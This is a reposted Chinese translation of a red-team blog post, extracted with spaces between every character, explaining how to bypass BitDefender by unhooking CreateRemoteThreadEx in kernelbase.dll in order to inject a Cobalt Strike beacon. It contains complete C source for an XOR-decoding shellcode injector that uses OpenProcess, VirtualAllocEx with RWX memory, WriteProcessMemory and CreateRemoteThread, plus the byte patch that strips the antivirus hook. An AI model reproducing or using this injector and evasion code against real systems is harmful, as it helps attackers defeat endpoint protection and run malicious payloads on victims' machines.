搜索

[1129] 2020-10-05_[翻译]使用反APIhook技术执行进程注入绕过BitDefender

文档创建者：s7ckTeam
浏览次数：15
最后更新：2025-01-16
2020-10-05_[翻译]使用反APIhook技术执行进程注入绕过BitDefender [ 翻 译 ] 使 用 反 A P I   h o o k 技 术 执 行 进 程 注 入 绕 过 B i t D e f e n d e r a s k a r   C h a B u g   2 0 2 0 - 1 0 - 0 5 原 文 作 者 ： a s k a r 原 文 链 接 ： h t t p s : / / s h e l l s . s y s t e m s / d e f e a t - b i t d e f e n d e r - t o t a l - s e c u r i t y - u s i n g - w i n d o w s - a p i - u n h o o k i n g - t o - p e r f o r m - p r o c e s s - i n j e c t i o n / 译 者 ： Y 4 e r   水 平 有 限 ， 如 有 错 误 请 及 时 反 馈 绕 过 A V / E D R 之 类 的 是 红 队 开 展 工 作 时 需 要 注 意 的 一 个 阶 段 ， 在 尝 试 绕 过 它 们 之 前 ， 可 能 需 要 一 些 时 间 来 了 解 这 些 解 决 方 案 的 工 作 方 式 。 通 过 网 上 公 开 的 内 容 ， 你 可 以 轻 松 了 解 这 些 软 件 的 工 作 原 理 以 及 如 何 绕 开 它 们 。 在 本 文 中 ， 我 将 向 您 展 示 如 何 使 用 W i n d o w s   A P I   u n h o o k i n g   来 绕 过   B i t D e f e n d e r   t o t a l   s e c u r i t y ， 我 们 将 讨 论 A P I   u n h o o k i n g   的 概 念 ， 然 后 将 探 讨 如 何 使 用 此 技 术 来 绕 过 A V / E D R 保 护 。 我 们 的 主 要 目 标 是 在 端 点 上 启 用 B i t D e f e n d e r 的 同 时 ， 执 行 进 程 注 入 以 获 取 c o b a l t s t r i k e 的 b e a c o n 。 W H A T   I S   A P I   H O O K I N G ? A P I   h o o k i n g   是 一 种 用 于 拦 截 和 检 查 w i n 3 2   A P I 调 用 的 方 法 ， A V / E D R 使 用 此 技 术 来 监 视 w i n 3 2   A P I 调 用 并 确 定 这 些 调 用 是 否 合 法 。 他 们 将 通 过 向 解 决 方 案 本 身 控 制 的 自 定 义 模 块 添 加 J M P 指 令 来 更 改 常 规 A P I 调 用 的 执 行 流 程 ， 该 自 定 义 模 块 将 扫 描 该 A P I 调 用 及 其 参 数 并 检 查 它 们 是 否 合 法 。 这 篇 文 章   h t t p s : / / w w w . i r e d . t e a m / o f f e n s i v e - s e c u r i t y / c o d e - i n j e c t i o n - p r o c e s s - i n j e c t i o n / h o w - t o - h o o k - w i n d o w s - a p i - u s i n g - c + +   由 S p o t l e s s 讲 解 ， 说 明 了 A P I   h o o k i n g 的 工 作 原 理 ， 您 可 以 查 看 有 关 它 的 更 多 详 细 信 息 。 尝 试 进 程 注 入 在 上 一 篇 文 章 中 ， 我 讨 论 了 如 何 编 码 s h e l l c o d e 并 在 内 存 中 对 其 进 行 解 码 以 避 免 检 测 ， 让 我 们 尝 试 这 种 技 术 并 检 查 它 是 否 可 以 绕 过 B i t D e f e n d e r 。 e n d p o i n t   p r o t e c t i o n s
正 如 我 们 在 上 一 篇 文 章 中 所 做 的 那 样 ， 在 生 成 编 码 后 的 s h e l l c o d e 之 后 ， 我 使 用 了 以 下 代 码 ， 并 且 代 码 将 像 这 样 ： # i n c l u d e   < w i n d o w s . h > / /   T h i s   c o d e   w a s   w r i t t e n   f o r   r e s e a r c h i n g   p u r p o s e ,   y o u   h a v e   t o   e d i t   i t   b e f o r e   u s i n g   i t   i n   r e a l - w o r l d / /   T h i s   c o d e   w i l l   d e o c d e   y o u r   s h e l l c o d e   a n d   w r i t e   i t   d i r e c t l y   t o   t h e   m e m o r y i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] )   {     / /   O u r   S h e l l c o d e     u n s i g n e d   c h a r   s h e l l c o d e [ ]   =   " M y E n c o d e d s h e l l c o d e " ;     / /   C h e c k   a r g u m e n t s   c o u n t e r     i f ( a r g c   ! =   2 ) {         p r i n t f ( " [ + ]   U s a g e   :   d e c o d e r . e x e   [ P I D ] n " ) ;         e x i t ( 0 ) ;     }     / /   T h e   p r o c e s s   i d   w e   w a n t   t o   i n j e c t   o u r   c o d e   t o   p a s s e d   t o   t h e   e x e c u t a b l e     / /   U s e   G e t C u r r e n t P r o c e s s I d ( )   t o   i n j e c t   t h e   s h e l l c o d e   i n t o   o r i g i n a l   p r o c e s s     i n t   p r o c e s s _ i d   =   a t o i ( a r g v [ 1 ] ) ;     / /   D e f i n e   t h e   b a s e _ a d d r e s s   v a r i a b l e   w h i c h   w i l l   s a v e   t h e   a l l o c a t e d   m e m o r y   a d d r e s s     L P V O I D   b a s e _ a d d r e s s ;     / /   R e t r i v e   t h e   p r o c e s s   h a n d l e   u s i n g   O p e n P r o c e s s     H A N D L E   p r o c e s s   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   0 ,   p r o c e s s _ i d ) ;     i f   ( p r o c e s s )   {         p r i n t f ( " [ + ]   H a n d l e   r e t r i e v e d   s u c c e s s f u l l y ! n " ) ;         p r i n t f ( " [ + ]   H a n d l e   v a l u e   i s   % p n " ,   p r o c e s s ) ;         b a s e _ a d d r e s s   =   V i r t u a l A l l o c E x ( p r o c e s s ,   N U L L ,   s i z e o f ( s h e l l c o d e ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         i f   ( b a s e _ a d d r e s s )   {             p r i n t f ( " [ + ]   A l l o c a t e d   b a s e d   a d d r e s s   i s   0 x % x n " ,   b a s e _ a d d r e s s ) ;             / /   D a t a   c h a r s   c o u n t e r             i n t   i ;             / /   B a s e   a d d r e s s   c o u n t e r             i n t   n   =   0 ;             f o r ( i   =   0 ;   i < = s i z e o f ( s h e l l c o d e ) ;   i + + ) {                 / /   D e c o d e   s h e l l c o d e   o p c o d e   ( y o u   c a n   e d i t   i t   b a s e d   o n   y o u r   e n c o d e r   s e t t i n g s )
                c h a r   D e c o d e d O p C o d e   =   s h e l l c o d e [ i ]   ^   0 x 0 1 ;                 / /   W r i t e   t h e   d e c o d e d   b y t e s   i n   m e m o r y   a d d r e s s                 i f ( W r i t e P r o c e s s M e m o r y ( p r o c e s s ,   b a s e _ a d d r e s s + n ,   & D e c o d e d O p C o d e ,   1 ,   N U L L ) ) {                     / /   W r i t e   t h e   m e m o r y   a d d r e s s   w h e r e   t h e   d a t a   w a s   w r i t t e n                     p r i n t f ( " [ + ]   B y t e   0 x % X   w r o t e   s u c e s s f u l l y !   a t   0 x % X n " ,   D e c o d e d O p C o d e ,   b a s e _ a d d r e s s   +   n ) ;                     / /   I n c r e a s e   m e m o r y   a d d r e s s   b y   1                     n + + ;                 }             }             / /   R u n   o u r   c o d e   a s   R e m o t e T h r e a d             C r e a t e R e m o t e T h r e a d ( p r o c e s s ,   N U L L ,   1 0 0 , ( L P T H R E A D _ S T A R T _ R O U T I N E ) b a s e _ a d d r e s s ,   N U L L ,   N U L L ,   0 x 5 0 0 0 2 ) ;         }         e l s e   {             p r i n t f ( " [ + ]   U n a b l e   t o   a l l o c a t e   m e m o r y   . . n " ) ;         }     }     e l s e   {         p r i n t f ( " [ - ]   E n a b l e   t o   r e t r i e v e   p r o c e s s   h a n d l e n " ) ;     } } 编 译 文 件 并 执 行 该 文 件 以 将 s h e l l c o d e 注 入 e x p l o r e r . e x e 后 ， 得 到 以 下 信 息 ： 如 我 们 所 见 ， B i t D e f e n d e r 检 测 到 执 行 并 阻 止 了 该 操 作 ， 我 的 文 件 “   i n j e c t o r . e x e ” 也 被 删 除 了 。 那 么 ， 实 际 上 正 在 发 生 什 么 ， 以 及 为 什 么 阻 止 了 该 操 作 ？
检 测 H O O K I N G 重 新 编 译 可 执 行 文 件 后 ， 我 开 始 调 试 我 的 可 执 行 文 件 ， 以 查 看 是 否 有 任 何 外 部 D L L 注 入 可 执 行 文 件 以 获 取 信 息 ： 名 为 的 文 件 已 加 载 到 我 的 可 执 行 文 件 中 ， 并 且 与 B i t D e f e n d e r 有 关 ！ 因 此 ， 我 开 始 调 试 在 s h e l l c o d e 注 入 期 间 调 用 的 主 要 w i n 3 2   A P I ， 当 然 ， 我 从 最 可 疑 的 一 个 开 始 ， 即 ， 在 反 汇 编 后 得 到 以 下 信 息 ： 这 里 没 有 什 么 可 疑 的 ， 但 是 从 执 行 流 程 可 以 看 出 ， 我 们 将 使 用   a t c u f 6 4 . d l l C r e a t e R e m o t e T h r e a d
  A P I ， 因 此 ， 我 将 其 反 汇 编 以 得 到 以 下 内 容 ： 看 起 来 不 寻 常 ！ 我 们 在 A P I 的 开 头 有 一 条 J M P 指 令 ， 如 果 我 们 采 用 了 J M P 并 继 续 执 行 流 程 ， 我 们 将 获 得 以 下 信 息 ： 如 我 们 所 见 ， 在 执 行 J M P 并 继 续 执 行 流 程 之 后 ， 我 们 加 载 了 a c t u f 6 4 . d l l ， 该 d l l 函 数 上 存 在 一 个 h o o k 钩 子 ， 该 钩 子 将 执 行 流 重 定 向 到 B i t D e f e n d e r 以 检 查 恶 意 内 容 。 因 此 ， 当 我 们 调 用 时 ， 会 到 ， 然 后 我 们 调 用 的 东 西 就 会 被 发 送 到 B i t D e f e n d e r 来 检 测 恶 意 内 容 。 那 么 为 了 绕 过 他 ， 我 们 需 要 将 函 数 返 回 其 原 始 状 态 ， 这 就 是 u n h o o k i n g 的 概 念 。 C r e a t e R e m o t e T h r e a d E x C r e a t e R e m o t e T h r e a d C r e a t e R e m o t e T h r e a d C r e a t e R e m o t e T h r e a d E x C r e a t e R e m o t e T h r e a d E x
基 于 此 ， 我 们 的   A P I 调 用 将 不 会 继 续 执 行 预 期 的 执 行 流 程 ， 这 意 味 着 它 将 不 会 到 达   A P I ， 这 是 所 依 赖 的 底 层 A P I 。 我 们 稍 后 将 对 此 进 行 讨 论 ， 但 请 记 住 这 一 点 。 A P I   U N H O O K I N G 同 样 ， A P I   U n h o o k i n g 是 一 种 技 术 ， 用 于 在 被 A V / E D R 篡 改 后 使 A P I 返 回 其 原 始 状 态 ， 通 过 此 处 的 操 作 ， 我 们 指 的 是 已 添 加 到 A P I 的 J M P ， 以 对 其 进 行 h o o k 并 更 改 原 始 执 行 流 程 。 如 何 使 A P I 恢 复 到 原 始 状 态 ？ 我 们 可 以 做 到 以 下 几 点 ： 1 .   在 A V 对 原 始 函 数 进 行 篡 改 之 后 ， 从 原 始 函 数 中 读 取 原 始 字 节 ， 我 们 可 以 直 接 从 D L L 中 反 汇 编 函 数 来 完 成 此 操 作 。 2 .   写 原 始 字 节 来 代 替 可 操 作 的 字 节 ， 我 们 可 以 通 过 简 单 的 内 存 修 补 将 数 据 写 入 特 定 地 址 来 做 到 这 一 点 。 要 获 取   A P I 的 原 始 字 节 ， 我 们 可 以 打 开 调 试 器   x 6 4 d b g   的 新 窗 口 并 加 载 ， 因 为 其 中 存 在 我 们 的 函 数 。 然 后 ， 我 们 可 以 在 命 令 窗 口 中 键 入 以 获 取 以 下 信 息 ： C r e a t e R e m o t e T h r e a d Z w C r e a t e T h r e a d E x C r e a t e R e m o t e T h r e a d E x C r e a t e R e m o t e T h r e a d E x k e r n e l b a s e . d l l C r e a t e R e m o t e T h r e a d E x d i s a s m   C r e a t e R e m o t e T h r e a d E x
从 x 6 4 d b g 获 取 原 始 字 节 的 另 一 种 方 法 是 将 调 试 器 附 加 到 之 后 ， 转 到 符 号 选 项 卡 。 最 后 ， 在 搜 索 栏 中 ， 我 们 可 以 搜 索 C r e a t e R e m o t e T h r e a d E x 函 数 并 双 击 以 获 取 它 。 如 下 如 我 们 所 见 ， 我 们 可 以 通 过 反 汇 编 A P I 来 获 得 原 始 字 节 ， 并 且 从 原 始 字 节 中 可 以 看 到 有 5 个 字 节 被 J M P 指 令 替 换 ， 因 此 按 顺 序 要 解 开 该 函 数 并 将 其 恢 复 为 原 始 状 态 ， 我 们 需 要 在 加 载 到 二 进 制 文 件 后 重 写 中 的 那 些 字 节 。 我 们 可 以 通 过 代 码 实 现 k e r n e l b a s e . d l l s y m b o l s 4 C   8 B   D C   5 3   5 6 k e r n e l b a s e . d l l
/ /   P a t c h   1   t o   u n h o o k   C r e a t e R e m o t e T h r e a d E x   ( k e r n e l b a s e . d l l ) H A N D L E   k e r n a l b a s e _ h a n d l e   =   G e t M o d u l e H a n d l e ( " k e r n e l b a s e " ) ; L P V O I D   C R T _ a d d r e s s   =   G e t P r o c A d d r e s s ( k e r n a l b a s e _ h a n d l e ,   " C r e a t e R e m o t e T h r e a d E x " ) ; p r i n t f ( " [ + ]   C r e a t e R e m o t e T h r e a d E x   a d d r e s s   i s   :   % p n " ,   C R T _ a d d r e s s ) ; i f   ( W r i t e P r o c e s s M e m o r y ( G e t C u r r e n t P r o c e s s ( ) ,   C R T _ a d d r e s s ,   " x 4 C x 8 B x D C x 5 3 x 5 6 " ,   5   ,   N U L L ) ) {     p r i n t f ( " [ + ]   C r e a t e R e m o t e T h r e a d E x   u n h o o k i n g   d o n e ! n " ) ; } 这 段 代 码 将 使 用 函 数 检 索 模 块 的 句 柄 ， 然 后 使 用 获 取 函 数 的 地 址 。 之 后 ， 我 们 将 打 印 的 地 址 ， 最 后 将 字 节 写 入 函 数 的 开 头 ， 以 使 用 以 下 命 令 将 其 恢 复 为 原 始 状 态 。 当 然 ， 我 们 将 传 递 给 作 为 过 程 的 句 柄 。 因 此 ， 我 们 的 代 码 将 是 ： # i n c l u d e   < w i n d o w s . h > i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] )   { G e t M o d u l e H a n d l e k e r n e l b a s e . d l l G e t P r o c A d d r e s s C r e a t e R e m o t e T h r e a d E x C r e a t e R e m o t e T h r e a d E x x 4 C x 8 B x D C x 5 3 x 5 6 W r i t e P r o c e s s M e m o r y C e t C u r r e n t P r o c e s s W r i t e P r o c e s s M e m o r y
    u n s i g n e d   c h a r   s h e l l c o d e [ ]   =   " " ;     i f ( a r g c   ! =   2 ) {         p r i n t f ( " [ + ]   U s a g e   :   i n j e c t o r . e x e   [ P I D ] n " ) ;         e x i t ( 0 ) ;     }     i n t   p r o c e s s _ i d   =   a t o i ( a r g v [ 1 ] ) ;     / /   P a t c h   1   t o   u n h o o k   C r e a t e R e m o t e T h r e a d E x   ( k e r n e l b a s e . d l l )     H A N D L E   k e r n a l b a s e _ h a n d l e   =   G e t M o d u l e H a n d l e ( " k e r n e l b a s e " ) ;     L P V O I D   C R T _ a d d r e s s   =   G e t P r o c A d d r e s s ( k e r n a l b a s e _ h a n d l e ,   " C r e a t e R e m o t e T h r e a d E x " ) ;     p r i n t f ( " [ + ]   C r e a t e R e m o t e T h r e a d E x   a d d r e s s   i s   :   % p n " ,   C R T _ a d d r e s s ) ;     i f   ( W r i t e P r o c e s s M e m o r y ( G e t C u r r e n t P r o c e s s ( ) ,   C R T _ a d d r e s s ,   " x 4 C x 8 B x D C x 5 3 x 5 6 " ,   5   ,   N U L L ) ) {         p r i n t f ( " [ + ]   C r e a t e R e m o t e T h r e a d E x   u n h o o k i n g   d o n e ! n " ) ;     }     / /   D e f i n e   t h e   b a s e _ a d d r e s s   v a r i a b l e   w h i c h   w i l l   s a v e   t h e   a l l o c a t e d   m e m o r y   a d d r e s s     L P V O I D   b a s e _ a d d r e s s ;     / /   R e t r i v e   t h e   p r o c e s s   h a n d l e   u s i n g   O p e n P r o c e s s     H A N D L E   p r o c e s s   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   0 ,   p r o c e s s _ i d ) ;     i f   ( p r o c e s s )   {         p r i n t f ( " [ + ]   H a n d l e   r e t r i e v e d   s u c c e s s f u l l y ! n " ) ;         p r i n t f ( " [ + ]   H a n d l e   v a l u e   i s   % p n " ,   p r o c e s s ) ;         b a s e _ a d d r e s s   =   V i r t u a l A l l o c E x ( p r o c e s s ,   N U L L ,   s i z e o f ( s h e l l c o d e ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         i f   ( b a s e _ a d d r e s s )   {             p r i n t f ( " [ + ]   A l l o c a t e d   b a s e d   a d d r e s s   i s   0 x % x n " ,   b a s e _ a d d r e s s ) ;             i n t   i ;             i n t   n   =   0 ;             f o r ( i   =   0 ;   i < = s i z e o f ( s h e l l c o d e ) ;   i + + ) {                 c h a r   D e c o d e d O p C o d e   =   s h e l l c o d e [ i ]   ^   0 x 0 1 ;                 i f ( W r i t e P r o c e s s M e m o r y ( p r o c e s s ,   b a s e _ a d d r e s s + n ,   & D e c o d e d O p C o d e ,   1 ,   N U L L ) ) {                     p r i n t f ( " [ + ]   B y t e   0 x % X   w r o t e   s u c e s s f u l l y !   a t   0 x % X n " ,   D e c o d e d O p C o d e ,   b a s e _ a d d r e s s   +   n ) ;                     n + + ;                 }             }
            / /   R u n   o u r   c o d e   a s   R e m o t e T h r e a d             C r e a t e R e m o t e T h r e a d ( p r o c e s s ,   N U L L ,   1 0 0 , ( L P T H R E A D _ S T A R T _ R O U T I N E ) b a s e _ a d d r e s s ,   N U L L ,   0 ,   0 x 1 3 3 7 ) ;         }         e l s e   {             p r i n t f ( " [ + ]   U n a b l e   t o   a l l o c a t e   m e m o r y   . . n " ) ;         }     }     e l s e   {         p r i n t f ( " [ - ]   E n a b l e   t o   r e t r i e v e   p r o c e s s   h 2 a n d l e n " ) ;     } } 重 新 编 译 之 后 ， 我 再 次 将 其 附 加 到 调 试 器 ， 并 在 O p e n P r c o e s s 函 数 中 放 置 一 个 断 点 ， 以 确 保 我 们 达 到 了 修 补 部 分 “ u n h o o k i n g   p a r t ” ， 如 下 所 示 ： 如 我 们 所 见 ， 修 补 过 程 没 有 任 何 问 题 ， 并 且 我 们 打 印 了 函 数 地 址 ， 该 地 址 与 之 前 的 地 址 相 同 。 因 此 ， 我 们 将 地 址 反 汇 编 为 以 下 内 容 ： C r e a t e R e m o t e T h r e a d E x C r e a t e R e m o t e T h r e a d E x
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理